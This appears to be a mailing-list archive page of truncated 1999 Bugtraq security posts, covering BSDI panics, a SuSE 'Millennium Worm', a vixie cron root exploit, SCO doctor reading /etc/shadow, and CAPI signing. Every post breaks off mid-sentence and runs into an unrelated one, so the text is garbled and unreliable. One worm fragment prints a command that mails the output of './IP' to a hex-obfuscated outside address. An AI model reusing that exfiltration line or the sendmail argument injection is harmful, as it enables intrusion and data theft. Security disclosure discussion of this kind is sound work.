Just Verified all versions of BSDI in my possession (2.1, 3.1, 4.0, 4.01)
are vulnerable. I do not have all the details, but the kernel panics.
System eventually reboots in 2.1.
Can be executed by any non-privileged user.
JD
On Wed, 1 Sep 1999, Sven Berkvens wrote:
Recently, I mailed this
Was this part of a suse installation?
What distro are you running?
---
Nassar Carnegie
[EMAIL PROTECTED]
On Wed, 1 Sep 1999, Christian Koderer wrote:
Knows anybody MW (millennium worm?) and how i get my s.u.s.e
installation clean?
"#!/bin/.mwsh
# Millennium Worm by Anonymous
# If you
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
I tried the 4 exploit test links, and they all crashed Netscape but
didn't cause any bluescreens or run any programs. I have win98,
Netscape 4.5 128-bit, and the same msvcrt.dll (6.00.8397). I'm not
sure how to debug the crashes, so I'm including the
Valentin Nechayev wrote:
Quite more simple and correct variant is to append "--" to mailargs:
-#define MAILARGS "%s -FCronDaemon -odi -oem -or0s %s" /*-*/
+#define MAILARGS "%s -FCronDaemon -odi -oem -- %s" /*-*/
After it, it's possible to use real local parts
On Mon, 30 Aug 1999, Prince Ctrl wrote:
Aleph,
After confirming with our Sr. Systems Admin, RedHat was contacted and
they confirmed that it was indeed a bug within 'passwd'. You can
download the new version of passwd and it will fix this problem.
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hi all.
I recently posted extracts from George Guninski's original post about
this issue and an extract from Sysadmin's post (both with the code
samples) in an e-mail to another list to inform some of 'the masses'.
I received a personal e-mail from
On Wed, 1 Sep 1999, Christian Koderer wrote:
./IP | mail `printf
"\x62\x65\x75\x72\x70\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`
logout
_EOF_
In case no one bothered figuring this one out, this translates to
'[EMAIL PROTECTED]'
Apparently './IP' is a program it runs to figure out
On Thu, Sep 02, 1999 at 12:01:40PM -0700, Technical Incursion Countermeasures wrote:
You can do a variation on this one (well sort opf - is a logstanding prob)
basically find two sites whose FW is conf'd to accept all mail and forward
it to the real mailserver. If this mailserver bounces
Alfonso Lazaro wrote:
I have found a misconfiguration in the default configuration
of Watchguard Firewall.
By default it appends a rule that it accepts pings from any to any.
So if our firebox is defending our internal network
( 192.168.x.x ... ) and our WG Firewall is a proxie with an
Scenario: mail from non-existent@domain1 to non-existent@domain2,
through SMTP servers that accept mail for non-existent addresses.
The poster suggests that the resulting bounce message will loop.
However, the poster fails to reveal the reasoning behind this.
Whatever reasoning the poster used,
Hi,
it seems like you are using an old distribution of SuSE (current is 6.2).
However, you should always be on the security announcement lists of your
favorit operating systems and install security updates asap when they are
announced. (check out http://www.suse.de/security)
Now go and get the
On 01-Sep-99 Darren Reed wrote:
This was first posted to the FreeBSD security list on the 9th of August,
subsequently discussed on freebsd-stable and freebsd-hackers... no one
seems to care, even though it is able to lock up 2.2.6, 2.2.8, and 3.2.x
machines consistantly. I have also been
While searching SunSolve for a completely unrelated issue, I came across
two bug reports (1115820, 248) that describe a way for any user to
panic a system running SunOS 4.1.1, 4.1.3, 4.1.3_U1, and 4.1.4. While the
bugs have been reported to Sun, no patch is available. There is a simple
On Sep 1, 9:08pm, [EMAIL PROTECTED] (Seva Gluschenko) wrote:
-- Subject: Re: Root shell vixie cron exploit
| The following address has permanent fatal errors:
| -C/tmp/vixie-cf gvs
|
| So, sendmail _really_ refuses to accept -C key when run as root
You've reached the wrong conclusion. *BSD's
- Forwarded message from [EMAIL PROTECTED] -
Delivered-To: [EMAIL PROTECTED]
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Subject: FreeBSD-SA-99:01: BSD File Flags and Programming Techniques
Date: Fri, 03 Sep 1999 23:29:36 -0600
X-Loop: FreeBSD.org
Precedence: bulk
On Wed, 1 Sep 1999 [EMAIL PROTECTED] wrote:
To Bugtraq,
We have recently conducted some testing into the security of the
implementation of VLANs on a pair of Cisco Catalyst 2900 series
switches and we feel that the results of this testing might be of some
value to the readers. Testing
Greetings,
INFO:There is a local root comprimise
in SCO 5.0.5's /bin/doctor 2.0.0e2 and probably others. By supplying a doctor script file you can read the first partial
line of any file on the system (good enough for
/etc/shadow). Example:
scobox:/bin$
It's not clear to me why being able to sign CSP modules is a risky thing
anyway; all it means is that Windows will load and execute your crypto. The
mechanism is designed to keep overseas end users from being able to build
and install strong crypto libraries. If the NSA has a key, all they can do
http://www.cryptonym.com/hottopics/msft-nsa.html
Perhaps more interestingly, the program lets you replace the key, too.
Microsoft prevents third parties from installing un-authorized crypto
code under CAPI by checking the signature on the code. Under their
export deal, they refuse to sign
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